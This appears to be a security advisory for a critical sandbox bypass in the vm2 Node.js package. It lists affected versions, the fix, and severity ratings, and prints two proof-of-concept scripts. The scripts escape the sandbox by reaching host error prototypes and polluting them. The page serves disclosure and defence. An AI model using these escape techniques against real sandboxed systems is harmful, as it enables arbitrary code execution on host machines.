Sandbox Bypass Affecting vm2 package, versions <3.9.6


0.0
critical
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • snyk-id

    SNYK-JS-VM2-2309905

  • published

    9 Feb 2022

  • disclosed

    6 Dec 2021

  • credit

    Cris Staicu, Abdullah Alhamdan

How to fix?

Upgrade vm2 to version 3.9.6 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Sandbox Bypass via direct access to host error objects generated by node internals during generation of a stacktraces, which can lead to execution of arbitrary code on the host machine.

PoC 1

// tested on Node.js 16.10.0
const {VM} = require('vm2');

vmInstance = new VM();    

console.log(vmInstance.run(`    
function foo(ref) {
    new Error().stack;    
}
let obj = {};
Object.defineProperty(Object.prototype, 0, {
    set: function () {                        
        foo(this);
        try {      
            obj[0] = 0;
        } catch (e) {
            e.__proto__.__proto__.__proto__.polluted = 'success';            
        }
    }
})
`));
console.log(polluted);

PoC 2

// tested with Node.js 17.1.0 and latest vm2 version
// generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2');

vmInstance = new VM();    

vmInstance.run(`
function getRootPrototype(obj) {        
    while (obj.__proto__) {
        obj = obj.__proto__;
    }
    return obj;    
}
function stack(ref, cb) {
    let stack = new Error().stack;
    stack.match(/checkReferenceRecursive/g);        
}
try {            
    global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    
        getRootPrototype(this);                
        stack(this);        
        return true;
    }), function functionInvocationAnalysis(r) {        
        stack(r);
    }(temp0), global.temp0;
    RegExp.prototype.exec = function (str) {        
        stack(arguments);        
    };    
} catch (e) {    
    getRootPrototype(e).polluted = "success";   
}
`);

console.log(polluted);

References